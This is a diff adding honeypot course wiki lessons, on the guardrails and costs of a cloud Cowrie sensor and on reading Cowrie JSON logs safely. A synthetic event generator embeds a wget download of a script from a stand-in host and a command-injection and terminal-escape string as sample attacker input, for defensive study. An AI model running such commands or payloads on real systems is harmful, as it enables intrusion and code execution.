+| The built-in login list: `root` with any password except `root`, `123456` and any containing "honeypot"; `phil` with any password | [Cowrie source, `core/auth.py` at v3.1.3](https://raw.githubusercontent.com/cowrie/cowrie/v3.1.3/src/cowrie/core/auth.py) | Read |
+| The default user is `phil` and "having the same user always available is an easy way to identify Cowrie"; the `fsctl` `touch`, `chown`, `load` pattern | [Cowrie FAQ](https://raw.githubusercontent.com/cowrie/cowrie/HEAD/docs/FAQ.rst) | Read. Not run |
+| A file needs both an entry in the fake file system and content to be readable | [Cowrie HONEYFS documentation](https://raw.githubusercontent.com/cowrie/cowrie/HEAD/docs/HONEYFS.rst) | Read |
+| `cowrie.session.file_download.failed` means "a download the attacker attempted did not complete" | [Cowrie output documentation](https://docs.cowrie.org/en/latest/_sources/OUTPUT.rst.txt) | Read. That it fires under a closed network is **est.** |
+| A cloud firewall blocks all traffic not expressly permitted; no outbound rules means no outbound traffic; rules of several firewalls on one droplet are combined, allow rules additive, deny rules take precedence; it is stateful; droplets get IPv4 by default | [Firewall features](https://docs.digitalocean.com/products/networking/firewalls/details/features/) (Last verified 3 Sep 2026), [Configure rules](https://docs.digitalocean.com/products/networking/firewalls/how-to/configure-rules/) (Last verified 4 Aug 2026), [IPv6](https://docs.digitalocean.com/products/networking/ipv6/) | Read. Not run |
+| The `doctl` flags used (`droplet create --tag-names --ssh-keys --wait`, `firewall create --inbound-rules --outbound-rules --tag-names`, `add-rules`, `delete --force`) and the "space-separated values for multiple rules" rule | [doctl reference](https://docs.digitalocean.com/reference/doctl/reference/compute/firewall/create/) | Read. Not run. The `action` key disagreement is described in exercise 2 |
+| Billing ends on destroy; a powered-off droplet is still billed; spend alert "is not a spending cap"; $6 a month for `s-1vcpu-1gb` | See [lesson 7's register](Deception-and-Honeypots-Cloud-Sensor-Anatomy.md#claims-register), `docs/cost-prices.json` | Read |
+| Ubuntu starts SSH from a systemd socket (since 22.10) and people were confused when port settings seemed ignored | [Ubuntu discourse thread on socket-based activation](https://discourse.ubuntu.com/t/sshd-now-uses-socket-based-activation-ubuntu-22-10-and-later/30189) | Read; the thread also says that in 24.04 the port is read from the SSH configuration by a generator, so the choice of Debian is caution, not a proven need |
+| The host firewall file | `nft -c -f` in a throwaway user and network namespace on 2026-10-22 with the placeholders replaced | Syntax checked. Never loaded on a real host; whether the redirect and the drops behave as described is **est.** |
+| The lure script | Run on 2026-10-22 with Python 3.13.5 | Run |
+| The design's kill-switch layers, 30-day raw-log retention proposal | [Honeypot design](https://github.com/ChiefGyk3D/Clouds-Against-Humanity/blob/main/docs/superpowers/specs/2026-10-21-honeypot-design.md), sections 7.2 and 10 | Read; the retention is the design's estimate |
+| "Even a normal home connection will likely see several attacks a day" | [ISC honeypot page](https://isc.sans.edu/honeypot.html) | The ISC's claim |
+
+Not verified, plainly: that any command here works on a real droplet; that Debian 12's image has the packages and SSH layout assumed; that the lock-out safety net works; what your provider will say to your request; the `NOPASSWD` sudo choice against your own risk view; time to first attempt on your sensor.
+
+Next: [Read what arrived](Deception-and-Honeypots-Read-the-Sensor-Logs.md), lesson 9. Or back to the [track hub](Deception-and-Honeypots-Start-Here.md).

+ 171 - 0
docs/wiki/Deception-and-Honeypots-Cloud-Sensor-Anatomy.md

@@ -0,0 +1,171 @@
+# Anatomy of a cloud honeypot: what you are agreeing to
+
+Lesson 7 of the [deception and honeypots track](Deception-and-Honeypots-Start-Here.md), and the first lesson of **track 2**, a small honeypot that strangers on the internet can reach, run in **your own** cloud account. A foundations side page to [Deception safety and law](Deception-and-Honeypots-Safety-and-Law.md) and [DigitalOcean network and firewalls](DigitalOcean-Network-and-Firewalls.md). This page is reading plus a paper exercise: it builds nothing. Next: [Cloud Cowrie for a weekend](Deception-and-Honeypots-Cloud-Cowrie-Weekend.md), lesson 8.
+
+> Unfamiliar word or acronym? The [Glossary](Glossary.md) defines it.
+
+> **Status: written from reading, nothing built, nothing run.** On **2026-10-22** the author read the pages listed in the [claims register](#claims-register) with read-only `curl` and ran nothing against a cloud provider. No honeypot was started for this lesson. The PowerShell command is **est.** (not run). The provider pages change; the register gives the date each was read.
+
+> **Prerequisites.** [What deception is](Deception-and-Honeypots-What-Deception-Is.md) (lessons 1 and 2) and [Deception safety and law](Deception-and-Honeypots-Safety-and-Law.md) (lesson 6, which you should have finished with a reviewer's answer). [DigitalOcean network and firewalls](DigitalOcean-Network-and-Firewalls.md) helps. About 1.5 hours (est.). Cost: none. This lesson is the free theory path of track 2. The hands-on lessons that follow use **your own cloud account and your own provider bill**, and this page shows the figure before you decide.
+
+## What you will be able to do
+
+- Say what a medium-interaction honeypot is, and what [Cowrie](Glossary.md) does and does not do.
+- Draw the path from the internet to the sensor's log file, and name the control that sits at each step.
+- Give the reason for each of the guardrails a cloud sensor needs: its own account, a management port only you can reach, exposed lure ports, nothing real on the box, no route to your other things, closed outgoing traffic, logs pulled out, a teardown written first and a spend limit.
+- Read a provider's acceptable-use policy for the clause that decides whether you may run a honeypot at all, and quote it.
+- Say what the cost is, what is **not** a spending cap, and what is.
+
+## The free theory path
+
+Everything on this page is reading. If you stop here you have the whole idea and have spent nothing. Lesson 8 builds it; lesson 9 reads what arrives and works in two parts, one of which needs no cloud account.
+
+## What a cloud sensor is
+
+A **honeypot** is a system whose only job is to be attacked and to record how. **Cowrie** is one: an imitation of an SSH server (and, if you switch it on, a telnet server). A visitor connects, tries passwords, and, if the imitation accepts a login, gets what looks like a Linux command line. It is not a Linux command line. It is a program written in Python that answers like one, keeps a fake file system, and writes down everything the visitor types. The project's own README calls it a "medium to high interaction SSH and Telnet honeypot designed to log brute force attacks and the shell interaction performed by the attacker", and says its default shell mode "emulates a UNIX system in Python". The word **medium** matters: the visitor never gets a real shell on your machine, but the imitation talks back, so it records far more than a program that only counts connections. (Interaction levels are in [What deception is](Deception-and-Honeypots-What-Deception-Is.md#the-vocabulary).)
+
+Cowrie also has a proxy mode and an experimental mode that sends visitor input to a language model. This track uses neither. The proxy mode relays a visitor to another machine, which makes your sensor a source of connections to someone else. The model mode sends visitor-controlled text to a third party. Both are out.
+
+Here is the whole path, from the internet to a file you read:
+
+```text
+internet --> provider's cloud firewall --> the host's own firewall --> redirect 22 -> 2222 --> Cowrie
+ (anyone)    allows only:                  drops the same way          (a rule, as root)       (runs as an unprivileged user,
+             - 22 and 23 from anyone       and drops all outgoing                               writes cowrie.json)
+             - the management port from
+               your address only                                                     you pull the logs over the management port
+             - no outgoing at all (run phase)                                        (an outbound connection from you, not from it)
+```
+
+Two things about that picture. First, **the sensor does not call out**. You come to it. The firewall is *stateful* (it lets replies to an allowed connection through, see [Subnets, NAT and firewalls by hand](Subnets-NAT-and-Firewalls-By-Hand.md)), so your own connection in works without any outgoing rule. Second, there is a deliberate gap in the picture: the real SSH server you use to administer the machine is on a **different port**, because Cowrie takes port 22.
+
+## The guardrails
+
+Each row is a control with a reason and a way to check it. Lesson 8 builds every one of them; this table is what you will review in the exercise.
+
+| # | Guardrail | Why | How you check it |
+|---|---|---|---|
+| 1 | **An account of its own**, holding nothing else, with its own payment method. | A provider acts on an account. A honeypot is built to draw complaints, and a suspension should land somewhere that holds nothing you need. The [honeypot design](https://github.com/ChiefGyk3D/Clouds-Against-Humanity/blob/main/docs/superpowers/specs/2026-10-21-honeypot-design.md) (section 3) says why a separate team or project in your main account is not enough. | The account's resource list shows the sensor, its firewall and nothing else. |
+| 2 | **The real SSH moved off port 22**, key-only, no root login, and reachable **only from your own address**. | Port 22 now belongs to the imitation. If real SSH stayed on a port anyone can reach, the first password-guesser is guessing against your real door. | From a machine that is not yours, the management port does not answer. From yours, it does. |
+| 3 | **Only the lure ports are open to everyone**: 22 and, if you chose it, 23. | A honeypot is exposed on purpose; nothing else should be. | The firewall lists exactly the rows in the table in lesson 8. |
+| 4 | **Nothing real on the box.** No real files, keys, tokens, passwords or accounts, and no key that opens anything else. | The sensor will be attacked, and a clever visitor may get past the imitation. Whatever is on it is lost. | Read the machine's files and its user-data once, before exposing it. |
+| 5 | **No route to anything else of yours.** No peering, no tunnel, no VPN client, no Twingate connector or client on the box, no stored key for another machine. | A taken-over sensor with a path home is a way in. Twingate is how this project reaches private things; the sensor must have none of that. | The account has no other resources; the box has no software that joins a private network. |
+| 6 | **Outgoing traffic closed.** Once it is built, no outgoing rules at all, at the cloud firewall **and** on the host. | A sensor that can call out can be used to attack others, and the abuse report goes to you. Cowrie's own `wget` and `curl` imitations make real outgoing connections unless the network stops them (see the [register](#claims-register)). | From the box, an outgoing connection to a test target of yours fails. |
+| 7 | **Logs pulled out by you**, over the management port. | A push needs outgoing access, which guardrail 6 removed. A pull needs none. | You can copy the log file out; the sensor holds no key to anything. |
+| 8 | **Teardown written first**: an end date, the exact commands, and a check that nothing keeps billing. | Temporary experiments become permanent bills and permanent hazards when nobody remembers them. | The commands are in your plan before you create anything. |
+| 9 | **A spend limit** you enforce, because the provider does not. | See [the cost section](#what-it-costs-and-what-is-not-a-cap) below. | The usage page matches your arithmetic after day one. |
+
+Guardrail 7 deviates from the design on purpose. The design shows a log store the sensor writes to and you read from, and it flags that a "write to one storage service" rule still lets a taken-over box reach every other customer's bucket behind the same address (design section 6.2.1). A pull needs no outgoing hole at all, so this lesson uses the pull. The log-store route is described in the design and is **not** covered here.
+
+## Read the provider's rules first
+
+This is the step people skip, and it is the one that decides whether you may run a honeypot at all.
+
+On **2026-10-22** the author read the DigitalOcean [Acceptable Use Policy](https://www.digitalocean.com/legal/acceptable-use-policy) (page text "Last Updated on March 20, 2026"). Three findings:
+
+- **The page does not mention honeypots.** A text search of the fetched page for "honeypot" found nothing. So the policy neither allows nor forbids one by name. The permission has to be asked for.
+- **Its "Vulnerability Testing" clause is the one to read.** It says you may not "conduct any security or malware research on or using the Services, without DigitalOcean's prior written consent." A honeypot that records attacker commands and file names is plausibly "security or malware research" done on the service. Whether yours counts is the provider's decision, not yours and not this page's.
+- **"Network Abuse" is why outgoing traffic is closed.** It says you may not "make network connections to any users, hosts, or networks unless you have permission to communicate with them." A sensor that fetches whatever a visitor tells it to fetch makes exactly those connections.
+
+Two more clauses to note. "Operation of Certain Network Services" lists "open proxies", and Cowrie can be set to forward a visitor's connections onward (the lesson leaves that off). And the consequences clause says the provider may suspend or end your use, and that this "applies even if a violation is committed unintentionally or without your authorization", which is the case where a taken-over sensor attacks someone.
+
+What to do about it: **ask in writing before you create anything.** Describe the exercise in plain words: a passive SSH and telnet imitation (Cowrie's medium-interaction mode) that records what visitors type and the files they try to send, one small server in a separate account, outgoing traffic closed, a stated end date, a named contact who reads the abuse inbox. Keep the answer. Do not read the policy's silence as permission. The design has the same finding for AWS and a pointer to its pages (design section 7.4); this track's hands-on lesson uses DigitalOcean, and if you use another provider you do this reading again for it.
+
+Also read your **own** contract and laws. Nothing on this page is legal advice, and the author read no statute. Recording the visitors, keeping their addresses and the passwords they type, and publishing any of it are questions about where you live. The lesson 6 [minimums](Deception-and-Honeypots-Safety-and-Law.md#the-eight-minimums) cover what to do while you find out: keep raw logs private, publish counts, never look back at an address.
+
+## What it costs, and what is not a cap
+
+Prices below are read from this repository's price files, never from memory. The file [`docs/cost-prices.json`](https://github.com/ChiefGyk3D/Clouds-Against-Humanity/blob/main/docs/cost-prices.json) (retrieved 2026-10-21) lists the `s-1vcpu-1gb` droplet at **$6 a month**, and [`docs/cost.md`](https://github.com/ChiefGyk3D/Clouds-Against-Humanity/blob/main/docs/cost.md) lists a $5 a month log bucket. This track does not use a bucket, so **the figure for this lesson set is the $6 droplet**. The design's option with the bucket is $11.
+
+How a short run costs less than $6: DigitalOcean's Droplet pricing page (read 2026-10-22) says a droplet on a bundled plan is "billed per second with a minimum charge of 60 seconds or $0.01, whichever is higher", with usage "capped at 672 hours (28 days) per month". So $6 is the most one such droplet can cost in a month, and a weekend of 48 hours is about 48 / 672 of it: **$0.43 (est.)**, my arithmetic from those two numbers, not a quote. These things are not in that figure: a public address charge (the page says addresses for the newer "v5" droplet configurations are billed separately at an introductory $0.00, and this plan is not one of them, but check your own invoice), outgoing data past the plan's allowance ($0.01 per GiB, from the Bandwidth page; inbound is free; and that page says outgoing traffic "dropped by a DigitalOcean firewall rule" is not billed), and anything you add later.
+
+Now the part that matters. **A spending alert is not a spending cap.** The Spend Alerts page (read 2026-10-22) says so: "A spend alert budget is not a spending cap and does not limit how much you can use". The only pause it offers is for a different product, not for droplets. Nothing in the pages the author read lets you tell DigitalOcean to stop a droplet at a dollar amount. So the limit is yours to enforce, in layers:
+
+1. **One droplet, one size, no extras.** No backups, snapshots, volumes or reserved addresses, so there is nothing else to bill. The most it can cost in a month is its $6.
+2. **An end date and a destroy command written first.** The destroy page says billing "ends when you destroy it"; a powered-off droplet is still billed because its resources stay reserved.
+3. **A spend alert** with a monthly budget a little above the $6 figure and thresholds you choose, as a warning only.
+4. **A calendar alarm** on the end date and one daily check of the billing page while it runs.
+5. **A payment method with its own limit**, if your bank offers one (est.; not checked against DigitalOcean).
+
+If you cannot do all five, do not start.
+
+## What arrives, from a public dataset
+
+You do not have to guess what a sensor sees. Two public sources, both read on 2026-10-22:
+
+- **The SANS Internet Storm Center** runs a network of Cowrie-based honeypots and publishes a live page of the most-tried names. On the day it was read, the most-tried usernames were `root`, `admin`, `user`, `super` and `support`, and the most-tried passwords included `1234`, `123456`, `admin` and `password` (one row had no password text on the page, which may mean an empty password). That is one day's page, not a study: it changes daily, and it says nothing about how many sensors feed it.
+- **A published analysis of about three years of Cowrie data** from six of those sensors (ISC diary, 2026-03-30; 1,206,566 sessions between 2022-04-13 and 2026-03-21) found that most sessions were bots running a fixed script. Sessions with exactly 22 commands were 38.26 percent of all sessions, those with 20 commands 28.91 percent, and those with a single command 8.64 percent. For the 22-command sessions, 461,344 of 461,561 included the prompt "Enter new UNIX password:", which the author takes to mean the script changes the account password, probably to lock other bots out. The same diary notes that a long session does not prove a person was typing.
+
+What that means for you: expect mostly automated visitors, repeating a short script, and expect a login attempt within hours rather than days if the ISC's own FAQ is a guide (it says even a home connection "will likely see several attacks a day"; that is a claim about a home sensor, not a measurement of yours). Lesson 8 asks you to measure your own time to the first attempt and write it down.
+
+## Exercise: review the plan on paper
+
+**Predict.** Before you read anything else: which of the nine guardrails do you think a first-time builder is most likely to get wrong? Write it down. (The author's guess is the management port: moving real SSH and locking it to one address is the step where people lock themselves out.)
+
+**Do.**
+
+1. Open the DigitalOcean acceptable-use policy and search it for the two phrases below. In Bash:
+
+   ```bash
+   curl -sL https://www.digitalocean.com/legal/acceptable-use-policy -o aup.html
+   grep -c -i 'honeypot' aup.html
+   grep -o -i 'security or malware research' aup.html
+   ```
+
+   In PowerShell (**est.**):
+
+   ```powershell
+   Invoke-WebRequest https://www.digitalocean.com/legal/acceptable-use-policy -OutFile aup.html
+   (Select-String -Path aup.html -Pattern 'honeypot' -SimpleMatch).Count
+   Select-String -Path aup.html -Pattern 'security or malware research' -SimpleMatch | Select-Object -First 1
+   ```
+
+2. Copy the guardrails table into your own notes. For each row, write the **one command or screen** you will use to prove it, and the date you will check it. Leave the rows you cannot answer blank.
+3. Write your end date, your teardown commands and your spend limit (all five layers) on one page.
+
+**Check.** The first count is `0` (if it is not, the policy changed since 2026-10-22: read the new text). The second prints the phrase (it may print twice), which is the clause above. Your page has no blank row. A reviewer who reads it should be able to say what is exposed, to whom, until when, and what happens if you forget.
+
+**Undo.** `rm -f aup.html` (PowerShell: `Remove-Item aup.html`). Nothing else was created.
+
+## Build, break, detect, evade, defend (on paper)
+
+- **Build.** The nine-guardrail plan and the written request to the provider.
+- **Break.** Read your plan as the visitor who gets past the imitation. What can they reach from the box? What is on it? Where would a stored key lead? If any answer is "something of mine", a guardrail has a hole.
+- **Detect.** What would tell you it has gone wrong: a message from the provider, a spend alert, an outgoing connection from a box that should have none, a login to the management port you did not make. For each, say where you would see it and who looks.
+- **Evade.** A visitor who suspects an imitation can test it, and a determined one can leave you a path of its own: look for other machines, try your account's credentials, try to send mail or attack others from your address. Each is a reason for a guardrail. Lesson 9 covers how visitors tell it is Cowrie.
+- **Defend.** The nine guardrails, as controls, each with a check.
+- **Flip the board.** You are now the provider's abuse team, reading a complaint that a droplet in your network is "attacking" someone. All you can see is the customer's reply. What would you want that reply to say, and how would it differ from a customer who is actually running an attack? Write the reply you would want to be able to send.
+
+## Common mistakes
+
+| Mistake | Why it hurts | Better |
+|---|---|---|
+| Asking for forgiveness instead of consent. | The policy's own wording makes written consent a requirement, and a strike lingers. | Ask first, in writing, and keep the answer. |
+| Treating a spend alert as a limit. | The provider says it is not one. | Enforce the five layers yourself. |
+| Putting the sensor in your main account "because it is only a weekend". | A suspension takes everything in that account with it. | A separate account, with its own payment method. |
+| Leaving outgoing traffic open "just for updates". | That is how a taken-over sensor attacks others. | Open it only while you build; close it before you expose anything. |
+| Copying a tutorial's port 22 redirect without moving real SSH first. | You lock yourself out, or you expose your real door. | Move and test the management port first (lesson 8 does it in order). |
+
+## Claims register
+
+Retrieved 2026-10-22 unless stated.
+
+| Claim | Source | Status |
+|---|---|---|
+| Cowrie is a "medium to high interaction SSH and Telnet honeypot designed to log brute force attacks and the shell interaction performed by the attacker"; shell mode emulates a UNIX system in Python; proxy and experimental language-model modes exist | [Cowrie README](https://raw.githubusercontent.com/cowrie/cowrie/HEAD/README.rst) | Read |
+| Cowrie 3.1.3 is the latest release (published 2026-10-19) and requires Python 3.11 or newer | [GitHub release v3.1.3](https://github.com/cowrie/cowrie/releases/tag/v3.1.3), [PyPI metadata](https://pypi.org/pypi/cowrie/json) | Read |
+| The `wget`, `curl`, `nc`, `ftpget` and `tftp` imitations make outgoing connections and have a rate limit; `out_addr` sets the address they bind to | [Cowrie default configuration](https://raw.githubusercontent.com/cowrie/cowrie/HEAD/src/cowrie/data/etc/cowrie.cfg.dist) | Read. That a closed network stops them is **est.**: not run |
+| DigitalOcean's AUP: no mention of honeypots; the "Vulnerability Testing", "Network Abuse", "Operation of Certain Network Services" and suspension wording quoted above; page dated March 20, 2026 | [DigitalOcean Acceptable Use Policy](https://www.digitalocean.com/legal/acceptable-use-policy) | Read. Whether a student lab counts as "security research" is the provider's call |
+| A bundled-plan droplet is billed per second (60 second or $0.01 minimum), capped at 672 hours a month; billing ends on destroy; a powered-off droplet is still billed | [Droplet Pricing](https://docs.digitalocean.com/products/droplets/details/pricing/) (page "Last verified 25 Aug 2026") | Read |
+| Spend alerts "send email notifications" and are "not a spending cap" | [Spend Alerts](https://docs.digitalocean.com/platform/billing/spend-alerts/) ("Last verified 19 Oct 2026") | Read |
+| Outgoing traffic past the allowance is $0.01 per GiB; inbound is free; traffic "dropped by a DigitalOcean firewall rule" is not billed | [Bandwidth Billing](https://docs.digitalocean.com/platform/billing/bandwidth/) | Read |
+| $6 a month for `s-1vcpu-1gb`; $5 a month for a log bucket | `docs/cost-prices.json` (retrieved 2026-10-21) and `docs/cost.md` | Read in this repository. Prices change; check before you rely on them |
+| About 48 / 672 of $6 for a weekend, $0.43 | Arithmetic on the two cited numbers | **est.** |
+| Top usernames and passwords on the ISC's page on the day read | [SANS ISC SSH/Telnet scanning activity](https://isc.sans.edu/data/ssh.html) | Read; one day's snapshot |
+| The 1,206,566-session analysis, the 22-command and 20-command shares, 461,344 of 461,561 with a password-change prompt | [ISC diary, "DShield (Cowrie) Honeypot Stats and When Sessions Disconnect"](https://isc.sans.edu/diary/DShield+Cowrie+Honeypot+Stats+and+When+Sessions+Disconnect/32840), 2026-03-30 | Read. One analyst's data from six sensors, not the whole internet. The reading of the password-change prompt is the author's |
+| "Even a normal home connection will likely see several attacks a day" | [ISC honeypot page](https://isc.sans.edu/honeypot.html) | Read; the ISC's claim, not a measurement of yours |
+| The design's account separation, closed outgoing traffic, provider-policy reading and kill switch | [Honeypot design](https://github.com/ChiefGyk3D/Clouds-Against-Humanity/blob/main/docs/superpowers/specs/2026-10-21-honeypot-design.md), sections 3, 6, 7.4 and 10 | Read in this repository |
+
+Not verified, plainly: any law; your provider's terms other than DigitalOcean's; whether a payment method with a limit is accepted by DigitalOcean; whether DigitalOcean will give consent; the AWS pages (the design read them on 2026-10-21; this page did not).
+
+Next: [Cloud Cowrie for a weekend](Deception-and-Honeypots-Cloud-Cowrie-Weekend.md), lesson 8, if you have your plan, your consent and your end date. Or back to the [track hub](Deception-and-Honeypots-Start-Here.md).

+ 391 - 0
docs/wiki/Deception-and-Honeypots-Read-the-Sensor-Logs.md

@@ -0,0 +1,391 @@
+# Read what arrived: Cowrie logs, jq, PowerShell and how visitors spot a honeypot
+
+Lesson 9 of the [deception and honeypots track](Deception-and-Honeypots-Start-Here.md), the last lesson of **track 2**. You read the JSON log a Cowrie sensor writes, count what visitors tried, catch a visitor who touched your decoy credential, reuse the detector you wrote in lesson 5, and then switch sides: how does a visitor tell it is Cowrie, and what can you change? A foundations side page to [Deception alerts in the SIEM](Deception-and-Honeypots-Alerts-in-the-SIEM.md) and [Cloud Cowrie for a weekend](Deception-and-Honeypots-Cloud-Cowrie-Weekend.md). Next: back to the [track hub](Deception-and-Honeypots-Start-Here.md).
+
+> Unfamiliar word or acronym? The [Glossary](Glossary.md) defines it.
+
+> **Status: the `jq` and Python parts were run once on Linux against invented logs; no real sensor log was read.** On **2026-10-22** the author ran every Bash command in exercises 1 to 6 with Python 3.13.5 and `jq` 1.7, against a file the lesson builds from invented events. The PowerShell commands are **est.** (not run; PowerShell was not available). Real Cowrie output was never seen by the author: the invented lines follow the field names in Cowrie's output documentation and are labeled synthetic. Exercise 7 and the sensor checks in exercise 8 need a sensor from lesson 8 and are **est.**
+
+> **Prerequisites.** [Deception alerts in the SIEM](Deception-and-Honeypots-Alerts-in-the-SIEM.md) (lesson 5, for `detect.py`), and the lure script from [lesson 8](Deception-and-Honeypots-Cloud-Cowrie-Weekend.md#exercise-1-make-the-lure-a-honeytoken) (it writes one file on your own computer). `jq` for Bash users (`sudo apt install jq` or your system's equivalent); PowerShell 5.1 or 7 for PowerShell users; Python 3.11 or newer. [JSON](Glossary.md) and [the terminal and your first script](Terminal-and-Your-First-Script.md) help. About 3 to 4 hours (est.). **Cost: none for exercises 1 to 6**, which use invented data and need no cloud account. Exercise 7 reads logs from a sensor you built in lesson 8, at your own provider bill.
+
+## What you will be able to do
+
+- Say what each Cowrie event records and which fields a visitor controls.
+- Read a `cowrie.json` file with `jq` (Bash) or `ConvertFrom-Json` (PowerShell) without being fooled by a hostile line or a broken one.
+- Count attempts by source, user name and password, and list commands per session.
+- Find the visitor who read your decoy file, and the one who used your decoy credential.
+- Run the lesson 5 detector on a sensor log shape.
+- List the ways a visitor can tell Cowrie from a real machine, and say which you can change.
+
+## The free theory path
+
+Exercises 1 to 6 are the free path: an invented log, no account, no server. They teach the same reading skills you need for a real log. If a real sensor is not for you, you lose nothing by stopping after exercise 6 and the section on [fingerprinting](#flip-the-board-how-a-visitor-spots-cowrie-and-how-you-harden-it).
+
+## What a sensor log looks like
+
+Cowrie writes one JSON object per line to `var/log/cowrie/cowrie.json` (its default configuration turns this output on), in UTC. Its output documentation (read 2026-10-22) says every event carries `eventid`, `message`, `sensor`, `timestamp` (ISO 8601, UTC), `session` and `src_ip`, and that events from a connection also carry `protocol` (`ssh` or `telnet`), `src_port`, `dst_ip` and `dst_port`. Because of the port redirect in lesson 8, `dst_port` will say 2222 or 2223, not 22 or 23.
+
+| Event id | What it means | Fields a visitor controls |
+|---|---|---|
+| `cowrie.session.connect` | A new connection; the first event of a visit. | None (the address and port come from the network). |
+| `cowrie.client.version` | The visitor's SSH client name. | `version`. |
+| `cowrie.client.kex` | The visitor's list of supported algorithms, and a fingerprint of it (HASSH). | The lists. |
+| `cowrie.login.failed`, `cowrie.login.success` | A login attempt the imitation refused or accepted. | `username`, `password` (or a public key). |
+| `cowrie.command.input` | A command line the visitor typed. | `input`. |
+| `cowrie.session.file_download`, `...file_download.failed`, `...file_upload` | A file arrived, or a download did not complete. | `url`, file names. |
+| `cowrie.direct-tcpip.request` | The visitor asked to relay traffic through the sensor. | The destination. |
+| `cowrie.session.closed` | The visit ended. | None (`duration_ms` is the sensor's measure). |
+
+Two facts that matter for safety. **`success` is a statement about the imitation, not about a real account**: it means Cowrie's login list accepted the pair. And **everything a visitor controls is hostile text**: it can hold quotes, control characters, text that looks like another log line, text that looks like a command. Lesson 5 made the same point with a detector; here it applies to every tool you point at the file, including `jq` and your terminal.
+
+One more property of real files: a copy taken while the sensor is writing can end mid-line, and a rotated or pasted file can have junk in it. `jq` stops at the first line that is not valid JSON, so the commands below read the file **line by line** and skip what does not parse.
+
+## Exercise 1: build an invented sensor log
+
+Save this as `make_session.py` in the folder where you ran `make_lure.py`. It reads the lure file and builds 28 lines: four visits, and one broken line at the end. **Nothing in it came from a real attacker or a real sensor.** Addresses are from the documentation ranges reserved for examples (RFC 5737).
+
+```python
+# Builds SYNTHETIC sensor events in the shape Cowrie documents, one JSON object per line,
+# like var/log/cowrie/cowrie.json. Nothing here came from a real attacker or a real sensor.
+# Addresses are from the documentation ranges (RFC 5737). Needs lure/deploy-notes-OLD.txt
+# from make_lure.py. Run:   python3 -I make_session.py > cowrie.json
+import json
+from datetime import datetime, timedelta, timezone
+
+lure = dict(
+    line.split(": ", 1) for line in open("lure/deploy-notes-OLD.txt").read().splitlines() if ": " in line
+)
+T0 = datetime(2026, 1, 1, 12, 0, 0, tzinfo=timezone.utc)
+out = []
+
+def ev(sec, eventid, ip, session, **extra):
+    stamp = (T0 + timedelta(seconds=sec)).strftime("%Y-%m-%dT%H:%M:%S.%fZ")
+    out.append(json.dumps({"eventid": eventid, "message": eventid, "src_ip": ip, "session": session,
+                           "sensor": "lab", "timestamp": stamp, "protocol": "ssh",
+                           "dst_ip": "192.0.2.10", "dst_port": 2222, **extra}))
+
+# Visit A: a bot. Five wrong guesses, an accepted login, a scripted batch of commands.
+A, a = "203.0.113.7", "a1a1a1a1"
+ev(0, "cowrie.session.connect", A, a, src_port=40001)
+ev(1, "cowrie.client.version", A, a, version="SSH-2.0-LabClient_1.0")
+for i, pw in enumerate(["123456", "password", "admin", "root", "toor"]):
+    ev(2 + i, "cowrie.login.failed", A, a, username="root", password=pw)
+ev(8, "cowrie.login.success", A, a, username="root", password="letmein")
+for i, cmd in enumerate(["uname -a", "cat /proc/cpuinfo", "cat /home/phil/deploy-notes-OLD.txt",
+                         "wget http://example.com/x.sh -O /tmp/x.sh", "passwd"]):
+    ev(10 + i, "cowrie.command.input", A, a, input=cmd)
+ev(15, "cowrie.session.file_download.failed", A, a, url="http://example.com/x.sh")
+ev(30, "cowrie.session.closed", A, a, duration_ms=30000)
+
+# Visit B: noise. One guess, gone.
+B, b = "198.51.100.23", "b2b2b2b2"
+ev(40, "cowrie.session.connect", B, b, src_port=40002)
+ev(41, "cowrie.login.failed", B, b, username="admin", password="admin")
+ev(42, "cowrie.session.closed", B, b, duration_ms=2000)
+
+# Visit C: someone who tries to tell whether this is a real machine (see the SANS ISC diary
+# in the register): a password that names the trap and should never work, then probe commands.
+C, c = "203.0.113.99", "c3c3c3c3"
+ev(50, "cowrie.session.connect", C, c, src_port=40003)
+ev(51, "cowrie.login.success", C, c, username="admin", password="honeypot-test")
+ev(52, "cowrie.command.input", C, c, input="busybox echo -e '\\x44\\x49\\x52'")
+ev(53, "cowrie.command.input", C, c, input="cat /proc/self/exe")
+ev(54, "cowrie.session.closed", C, c, duration_ms=4000)
+
+# Visit D: uses the planted lure credential, then sends hostile text. The text is data.
+D, d = "192.0.2.66", "d4d4d4d4"
+ev(60, "cowrie.session.connect", D, d, src_port=40004)
+ev(61, "cowrie.login.failed", D, d, username=lure["user"], password=lure["password"])
+ev(62, "cowrie.command.input", D, d, input='x"; $(touch /tmp/pwned) \x1b[2J {"eventid": "cowrie.login.success"}')
+ev(63, "cowrie.session.closed", D, d, duration_ms=3000)
+
+out.append("this line is not json {{{")
+print("\n".join(out))
+```
+
+**Predict.** How many lines will the file have, and will `jq .` read all of them?
+
+**Do.**
+
+```bash
+cd ~/deception-lab/cloud
+python3 -I make_lure.py
+python3 -I make_session.py > cowrie.json
+wc -l cowrie.json
+jq . cowrie.json > /dev/null; echo "exit=$?"
+```
+
+```powershell
+Set-Location $HOME\deception-lab\cloud
+py -3 -I make_lure.py
+py -3 -I make_session.py | Set-Content -Encoding ascii cowrie.json
+(Get-Content cowrie.json).Count
+```
+
+(Windows PowerShell 5.1 writes UTF-16 with a plain `>`; `Set-Content -Encoding ascii` avoids that. The text is plain ASCII, because the escape character inside one line is written as `\u001b`.)
+
+**Check.** `28 cowrie.json`. `jq .` prints a parse error about the last line and exits with a non-zero code (5 on `jq` 1.7). That is the lesson: one bad line stops a naive read. From now on every command skips what does not parse.
+
+**Undo.** `rm -r cowrie.json lure` (PowerShell: `Remove-Item -Recurse cowrie.json, lure`).
+
+## Exercise 2: count events by type
+
+`jq -R` reads each line as plain text; `fromjson?` parses it and quietly gives nothing if it fails; `objects` keeps only JSON objects (a line that is just `5` or `"x"` would otherwise break the next step).
+
+**Predict.** Which event type is the most common in the file, and how many lines are *not* events?
+
+**Do.**
+
+```bash
+# events by type
+jq -rR 'fromjson? | objects | .eventid' cowrie.json | sort | uniq -c | sort -rn
+```
+
+```powershell
+# load the events, skipping what does not parse
+$events = Get-Content cowrie.json | ForEach-Object {
+    try { $e = $_ | ConvertFrom-Json -ErrorAction Stop } catch { return }
+    if ($e -is [pscustomobject] -and $e.eventid) { $e }
+}
+$events | Group-Object eventid | Sort-Object Count -Descending | Select-Object Count, Name
+```
+
+**Check.** Seven lines (counts only; ties may print in either order):
+
+```text
+      8 cowrie.command.input
+      7 cowrie.login.failed
+      4 cowrie.session.connect
+      4 cowrie.session.closed
+      2 cowrie.login.success
+      1 cowrie.session.file_download.failed
+      1 cowrie.client.version
+```
+
